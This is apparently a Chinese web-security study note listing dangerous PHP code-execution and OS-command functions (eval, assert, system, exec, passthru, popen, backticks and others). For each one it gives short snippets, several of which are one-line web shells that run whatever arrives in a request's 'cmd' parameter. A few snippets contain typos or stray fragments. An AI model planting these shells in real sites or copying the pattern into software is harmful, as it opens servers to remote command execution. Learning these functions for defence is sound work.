PHP危险函数
文章目录
- PHP危险函数
- PHP 代码执行函数
- eval 语句
- assert()语句
- preg_replace()函数
- 正则表达式里
- 修饰符
- 回调函数
- call_user_func()函数
- array_map()函数
- OS命令执行函数
- system()函数
- exec()函数
- shell_exec()函数
- passthru() 函数
- popen 函数
- 反引号``
- 实列
通过构造函数可以执行系统命令达到非法控制计算机被视为危险函数
PHP 代码执行函数
字符串当中PHP代码来执行
eval 语句
eval() 会将符合PHP 语法规范字符串当作php 代码执行
这个语句只能执行php代码不能执行系统命令但能调用system()函数来实现系统命令
$code = $_REQUEST['code'];
eval($code);
通过简写就是一句话木马的原型
@eval($ REQUEST['code']);
也可以嵌入eval(eval());的形式来执行
assert()语句
- assert() 只能执行单条PHP 语句
- 在低版本中assert() 是一个函数,可以动态调用。
- 高版本PHP 中,7.2.0被弃用在8.0.0的assert语句已经被淘汰了
$code=$_REQUEST['code'];
assert($code);
因为每次只能执行一条语句如果想实现一句话木马可以以编码的形式进行
preg_replace()函数
preg_replace 执行一个正则表达式的搜索和替换
正则表达式:一类字符特征
preg_replace(“/正则表达式/修饰符”,“要替换的字符”,“目标字符串”)
在第二个参数里"\\1"
是第一个匹配到的字符
正则表达式里
.*是表示匹配所有
修饰符
i匹配大小写
e将匹配到符合php代码的字符执行
回调函数
一个函数调用另外一个函数。PHP 语言中回调函数有很多。
call_user_func()函数
特点
- 只能调用函数
- 不能用结构语句
用assert执行phpinfo函数
$func = 'assert';
$arg = "phpinfo();";
call_user_func($func, $arg);
array_map()函数
参数必须为数组
$func = 'assert';
$arg[] = "phpinfo();";
array_map($func, $arg);
OS命令执行函数
OS命令执行函数:把字符串当作系统命令执行
system()函数
是一个典型的系统命令执行函数
特点
- 自带输出功能
- 自动区分系统平台
<?php
$cmd=$_REQUEST['cmd'];
system($cmd);
?>
exec()函数
将字符串当作代码执行
特点:
- 能执行系统命令
- 不自带输出
- 只输出命令执行结果的最后一行
<?php
$cmd = "ipconfig";
var_dump(exec($cmd));
?>
shell_exec()函数
特点:
- 通过 shell 执行命令并将完整的输出以字符串的方式返回
- 不自带输出
<?php
$cmd =$_REQUEST["cmd"];
echo shell_exec($cmd);
?>
passthru() 函数
执行外部程序并且显示原始输出
特点
- 能执行系统命令
- 自带输出功能
<?php
$cmd =$_REQUEST["cmd"]; passthru($cmd);
?>
popen 函数
特点
- 把命令结果当作成一个文件
- 不自带输出功能
- 函数返回值为文件指针,可以简单理解为文件名
想要输出结果要使用fread函数有两个参数一个是要读的文件另一个是字节数
模式。‘r’ 表示阅读,‘w’ 表示写入。
<?php
$cmd=$_REQUEST["cmd"];
$result=popen($cmd,"r");
echo fread($resukt,1024);
反引号``
反引号` 内的字符串,会被解析成OS 命令。
$cmd = "whoami";
$cmd = "ipconfig";
$cmd = "net user";
echo "<pre>".`$cmd`;
n($cmd,"r");
echo fread($resukt,1024);
实列
- system
以字符串的形式执行系统命令并自带回显
<?php
system($_GET['cmd']);
?>
2. exec
用字符串的形式执行系统命令不自带回显,用echo只能输出末一行用来确认代码是否执行成功
<?php
echo exec($_REQUEST['cmd']);
?>
3. shell_exec
通过 shell 执行命令后并将完整的输出以字符串的方式返回
函数本身不自带回显功能
<?php
echo shell_exec($_REQUEST['cmd']);
?>
4. passthru
执行外部程序并且显示原始输出
<?php
passthru ($_REQUEST['cmd']);
?>
5. popen
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
<?php
echo fread(popen($_REQUEST['cmd'],'r'),1024);
?>
- ``反引号
反引号` 内的字符串,会被解析成OS 命令
<?php
$a=$_REQUEST['cmd'];
echo `$a`;
?>
7. eval
eval() 会将符合PHP 语法规范字符串当作php 代码执行
<?php
echo @eval ($_REQUEST['cmd']);
?>
- assert
<?php
assert($_REQUEST['cmd']);
?>
- preg_replace
<?php
echo preg_replace('~\[(.*)\]~e','\\1','[phpinfo()]');
?>
- call_user_func
<?php
call_user_func('assert','phpinfo()');
?>
- array_map
只能执行数组
<?php
$a[]=phpinfo();
array_map(assert(),$a);
?>
- 动态函数
$func="system";
$func2="ipconfig";
$func($func2);